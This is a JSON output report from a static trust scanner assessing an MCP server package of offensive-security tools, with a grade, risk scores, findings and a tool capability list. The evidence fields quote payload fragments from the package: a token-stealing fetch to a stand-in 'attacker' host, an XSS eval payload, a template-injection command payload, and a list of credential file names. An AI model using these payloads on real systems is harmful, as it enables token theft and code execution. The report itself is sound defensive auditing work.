Operant — the complete, unedited output of the deterministic mcptrustchecker engine v1.13.0, scanned . Every finding, capability tag and score component below is exactly what the engine produced — no AI, no post-processing.
{
"tool": {
"name": "mcptrustchecker",
"version": "1.13.0",
"methodologyVersion": "mcptrustchecker-1.13"
},
"target": {
"id": "operant-mcp",
"source": {
"kind": "package",
"origin": "operant-mcp"
},
"server": {
"name": "operant-mcp"
}
},
"grade": "B",
"score": {
"score": 83,
"threatScore": 91,
"grade": "B",
"band": "B",
"categorySubtotals": {
"injection": 9.45,
"exfiltration": 0,
"permissions": 0,
"supply-chain": 0,
"network": 0,
"hygiene": 0
},
"vector": [
{
"kind": "threat",
"ruleId": "MTC-SRC-009",
"category": "injection",
"severity": "medium",
"confidence": "strong",
"rawWeight": 9,
"confidenceMult": 0.7,
"diminishingFactor": 1,
"appliedPenalty": 6.3
},
{
"kind": "threat",
"ruleId": "MTC-SRC-009",
"category": "injection",
"severity": "medium",
"confidence": "strong",
"rawWeight": 9,
"confidenceMult": 0.7,
"diminishingFactor": 0.5,
"appliedPenalty": 3.15
},
{
"kind": "client",
"term": "capability-exposure",
"level": "high",
"label": "capability blast radius (high) — client exposure if the model is manipulated",
"appliedPenalty": 6
},
{
"kind": "client",
"term": "verification-discount",
"level": "none",
"label": "publisher verification (unlinked) — no provenance/repo link, but the shipped source was fully read",
"appliedPenalty": 2
},
{
"kind": "client",
"term": "coverage-honesty",
"level": "source",
"label": "inspection depth (source) — how much of the target the scan could see",
"appliedPenalty": 0
}
],
"gatesFired": [],
"methodologyVersion": "mcptrustchecker-1.13"
},
"capability": {
"level": "high",
"reasons": [
"can send data / act on an external service",
"reads sensitive or local data",
"has a read → egress path (a data-exfiltration surface)",
"can execute shell commands or code"
],
"tags": [
"external-sink",
"sensitive-source",
"code-exec"
]
},
"coverage": {
"level": "source",
"inputs": {
"toolSurface": true,
"implementationSource": true,
"packageMetadata": true,
"liveTransport": false
},
"caveats": [
"Tools were statically extracted from the published source (62 recovered), not enumerated from a running server. Tool-poisoning, Unicode-smuggling, capability and toxic-flow analysis ran on this inferred surface, but a mis-parsed registration could be missed or mis-attributed, so tool-derived findings are capped below “confirmed”. To grade the real runtime surface, scan the running server: --command \"npx -y <package>\"."
]
},
"findings": [
{
"ruleId": "MTC-FLOW-004",
"title": "Sensitive-source and external-sink co-exist",
"category": "exfiltration",
"severity": "high",
"confidence": "strong",
"description": "Tools that read sensitive data ([volatility_linux, volatility_windows]) and tools that can send data out ([role_escalation_test, pcap_extract_credentials, raw_connection_reuse, recon_directory_bruteforce, nuclei_scan]) are exposed together. An agent can move private data to the sink.",
"remediation": "Keep secret-reading and egress capabilities on separate, separately-approved servers.",
"location": {
"kind": "flow",
"name": "volatility_linux → role_escalation_test"
},
"evidence": "sources [volatility_linux, volatility_windows] → sinks [role_escalation_test, pcap_extract_credentials, raw_connection_reuse, recon_directory_bruteforce, nuclei",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"references": [],
"data": {
"sources": [
"volatility_linux",
"volatility_windows"
],
"sinks": [
"role_escalation_test",
"pcap_extract_credentials",
"raw_connection_reuse",
"recon_directory_bruteforce",
"nuclei_scan"
]
}
},
{
"ruleId": "MTC-SRC-006",
"title": "Reads a sensitive credential path or dumps the environment (dist/tools/recon.js)",
"category": "exfiltration",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`dist/tools/recon.js:355`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "dist/tools/recon.js"
},
"evidence": ".sql\", \"database.sql\", \"id_rsa\", \"secret.txt\", ]; const readable = []; for (const f of sensitive",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-006",
"file": "dist/tools/recon.js",
"line": 355,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-001",
"title": "Dynamic code execution in server code (dist/tools/xss.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`dist/tools/xss.js:114`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "dist/tools/xss.js"
},
"evidence": "\"<img src=x onerror=eval(atob('YWxlcnQoMSk='))>\", \"<img src=x onerror=window['al'+'ert'](1)>\",",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-001",
"file": "dist/tools/xss.js",
"line": 114,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (dist/prompts.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`dist/prompts.js:413`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "dist/prompts.js"
},
"evidence": "ado: \\`{% import os %}{{os.popen(\"id\").read()}}\\` ## Phase 7: SSRF Testing 22. For URL/redirect parameters: - Run \\",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "dist/prompts.js",
"line": 413,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (dist/resources.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`dist/resources.js:287`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "dist/resources.js"
},
"evidence": "ortSwigger) - Node.js \\`child_process.fork()\\` reads \\`execArgv\\` from the options object; if not explicitly set, it inh",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "dist/resources.js",
"line": 287,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (dist/runner.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`dist/runner.js:4`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "dist/runner.js"
},
"evidence": "File, exec } from \"node:child_process\"; import { promisify } from \"node:util\"; import { execSync } from \"node:child_proc",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "dist/runner.js",
"line": 4,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (dist/tools/memory.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`dist/tools/memory.js:11`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "dist/tools/memory.js"
},
"evidence": "{ execSync } from \"node:child_process\"; export function register(server) { function validateDump(dumpPath) {",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "dist/tools/memory.js",
"line": 11,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-003",
"title": "Hardcoded egress to an external endpoint (dist/prompts.js)",
"category": "exfiltration",
"severity": "medium",
"confidence": "strong",
"description": "In the server's implementation (`dist/prompts.js:301`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "dist/prompts.js"
},
"evidence": "ft from localStorage: \\`fetch('https://attacker/steal?t='+localStorage.getItem('token'))\\` - Keylogging: \\`document.onke",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-003",
"file": "dist/prompts.js",
"line": 301,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-003",
"title": "Hardcoded egress to an external endpoint (dist/resources.js)",
"category": "exfiltration",
"severity": "medium",
"confidence": "strong",
"description": "In the server's implementation (`dist/resources.js:1087`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "dist/resources.js"
},
"evidence": "ploit: \\`\\`\\`javascript fetch('https://target.com/api/sensitive-data', { credentials: 'include' }).then(r => r.json())",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-003",
"file": "dist/resources.js",
"line": 1087,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-009",
"title": "Untrusted input concatenated into a command sink (dist/runner.js)",
"category": "injection",
"severity": "medium",
"confidence": "strong",
"description": "In the server's implementation (`dist/runner.js:93`): A shell/process command assembled from concatenated or interpolated values is command injection when any part is attacker-influenced — the OWASP canonical RCE flow. Verify what reaches the interpolated value. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "dist/runner.js"
},
"evidence": "{ const path = execSync(`which ${name}`, { encoding: \"utf-8\" }).trim(); if (!path) throw ne",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-009",
"file": "dist/runner.js",
"line": 93,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-009",
"title": "Untrusted input concatenated into a command sink (dist/tools/memory.js)",
"category": "injection",
"severity": "medium",
"confidence": "strong",
"description": "In the server's implementation (`dist/tools/memory.js:23`): A shell/process command assembled from concatenated or interpolated values is command injection when any part is attacker-influenced — the OWASP canonical RCE flow. Verify what reaches the interpolated value. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "dist/tools/memory.js"
},
"evidence": "const result = execSync(`which ${name}`, { encoding: \"utf-8\" }).trim(); if (result)",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-009",
"file": "dist/tools/memory.js",
"line": 23,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SUP-011",
"title": "Package declares no source repository",
"category": "supply-chain",
"severity": "info",
"confidence": "strong",
"description": "\"operant-mcp\" declares no repository URL, so its published artifact cannot be compared against reviewable source.",
"remediation": "Prefer packages that link to public, reviewable source.",
"location": {
"kind": "package",
"name": "operant-mcp"
}
}
],
"toxicFlows": [
{
"id": "flow-1",
"severity": "high",
"confidence": "strong",
"untrustedInput": [],
"sensitiveSource": [
"volatility_linux",
"volatility_windows"
],
"externalSink": [
"role_escalation_test",
"pcap_extract_credentials",
"raw_connection_reuse",
"recon_directory_bruteforce",
"nuclei_scan"
],
"selfContained": false,
"path": [
"volatility_linux",
"nuclei_scan"
],
"pathWired": false,
"description": "A sensitive-source → external-sink chain exists: volatility_linux → nuclei_scan."
}
],
"capabilities": [
{
"tool": "idor_test",
"tags": [],
"reasons": {}
},
{
"tool": "role_escalation_test",
"tags": [
"external-sink"
],
"reasons": {
"external-sink": [
"keyword \"put_request\""
]
}
},
{
"tool": "auth_csrf_extract",
"tags": [],
"reasons": {}
},
{
"tool": "auth_bruteforce",
"tags": [],
"reasons": {}
},
{
"tool": "auth_cookie_tamper",
"tags": [],
"reasons": {}
},
{
"tool": "price_manipulation_test",
"tags": [],
"reasons": {}
},
{
"tool": "coupon_abuse_test",
"tags": [],
"reasons": {}
},
{
"tool": "clickjacking_test",
"tags": [],
"reasons": {}
},
{
"tool": "frame_buster_bypass",
"tags": [],
"reasons": {}
},
{
"tool": "cloudtrail_analyze",
"tags": [],
"reasons": {}
},
{
"tool": "cloudtrail_find_anomalies",
"tags": [],
"reasons": {}
},
{
"tool": "cmdi_test",
"tags": [],
"reasons": {}
},
{
"tool": "cmdi_blind_detect",
"tags": [],
"reasons": {}
},
{
"tool": "cors_test",
"tags": [],
"reasons": {}
},
{
"tool": "deserialization_test",
"tags": [],
"reasons": {}
},
{
"tool": "file_upload_test",
"tags": [],
"reasons": {}
},
{
"tool": "graphql_introspect",
"tags": [],
"reasons": {}
},
{
"tool": "graphql_find_hidden",
"tags": [],
"reasons": {}
},
{
"tool": "oob_start_listener",
"tags": [],
"reasons": {}
},
{
"tool": "oob_poll_interactions",
"tags": [],
"reasons": {}
},
{
"tool": "oob_generate_payload",
"tags": [],
"reasons": {}
},
{
"tool": "maldoc_analyze",
"tags": [],
"reasons": {}
},
{
"tool": "maldoc_extract_macros",
"tags": [],
"reasons": {}
},
{
"tool": "volatility_linux",
"tags": [
"sensitive-source"
],
"reasons": {
"sensitive-source": [
"keyword \"dump\""
]
}
},
{
"tool": "volatility_windows",
"tags": [
"sensitive-source"
],
"reasons": {
"sensitive-source": [
"keyword \"dump\""
]
}
},
{
"tool": "memory_detect_rootkit",
"tags": [],
"reasons": {}
},
{
"tool": "nosqli_auth_bypass",
"tags": [],
"reasons": {}
},
{
"tool": "nosqli_detect",
"tags": [],
"reasons": {}
},
{
"tool": "pcap_overview",
"tags": [],
"reasons": {}
},
{
"tool": "pcap_extract_credentials",
"tags": [
"external-sink"
],
"reasons": {
"external-sink": [
"keyword \"http_post\""
]
}
},
{
"tool": "pcap_dns_analysis",
"tags": [],
"reasons": {}
},
{
"tool": "pcap_http_objects",
"tags": [],
"reasons": {}
},
{
"tool": "pcap_detect_scan",
"tags": [],
"reasons": {}
},
{
"tool": "pcap_follow_stream",
"tags": [],
"reasons": {}
},
{
"tool": "pcap_tls_analysis",
"tags": [],
"reasons": {}
},
{
"tool": "pcap_llmnr_ntlm",
"tags": [],
"reasons": {}
},
{
"tool": "race_single_packet",
"tags": [],
"reasons": {}
},
{
"tool": "race_last_byte_sync",
"tags": [],
"reasons": {}
},
{
"tool": "raw_http_send",
"tags": [],
"reasons": {}
},
{
"tool": "raw_h2_smuggle",
"tags": [],
"reasons": {}
},
{
"tool": "raw_connection_reuse",
"tags": [
"external-sink"
],
"reasons": {
"external-sink": [
"keyword \"http_request\""
]
}
},
{
"tool": "recon_quick",
"tags": [],
"reasons": {}
},
{
"tool": "recon_dns",
"tags": [],
"reasons": {}
},
{
"tool": "recon_vhost",
"tags": [],
"reasons": {}
},
{
"tool": "recon_tls_sans",
"tags": [],
"reasons": {}
},
{
"tool": "recon_directory_bruteforce",
"tags": [
"external-sink"
],
"reasons": {
"external-sink": [
"keyword \"curl\""
]
}
},
{
"tool": "recon_git_secrets",
"tags": [],
"reasons": {}
},
{
"tool": "recon_s3_bucket",
"tags": [],
"reasons": {}
},
{
"tool": "nuclei_scan",
"tags": [
"external-sink"
],
"reasons": {
"external-sink": [
"keyword \"http_request\""
]
}
},
{
"tool": "ffuf_fuzz",
"tags": [],
"reasons": {}
},
{
"tool": "param_discover",
"tags": [],
"reasons": {}
},
{
"tool": "sqli_where_bypass",
"tags": [],
"reasons": {}
},
{
"tool": "sqli_login_bypass",
"tags": [],
"reasons": {}
},
{
"tool": "sqli_union_extract",
"tags": [],
"reasons": {}
},
{
"tool": "sqli_blind_boolean",
"tags": [],
"reasons": {}
},
{
"tool": "sqli_blind_time",
"tags": [],
"reasons": {}
},
{
"tool": "sqli_file_read",
"tags": [],
"reasons": {}
},
{
"tool": "ssrf_test",
"tags": [],
"reasons": {}
},
{
"tool": "ssrf_cloud_metadata",
"tags": [],
"reasons": {}
},
{
"tool": "path_traversal_test",
"tags": [],
"reasons": {}
},
{
"tool": "xss_reflected_test",
"tags": [],
"reasons": {}
},
{
"tool": "xss_payload_generate",
"tags": [],
"reasons": {}
}
],
"surfaceDigest": "43e53689f37e5e40f5fc3fc4ec90fb551c1c83ae24acd888a60ddf1f00fe07d1",
"stats": {
"tools": 62,
"prompts": 0,
"resources": 0,
"findingsBySeverity": {
"critical": 0,
"high": 7,
"medium": 4,
"low": 0,
"info": 1
}
}
}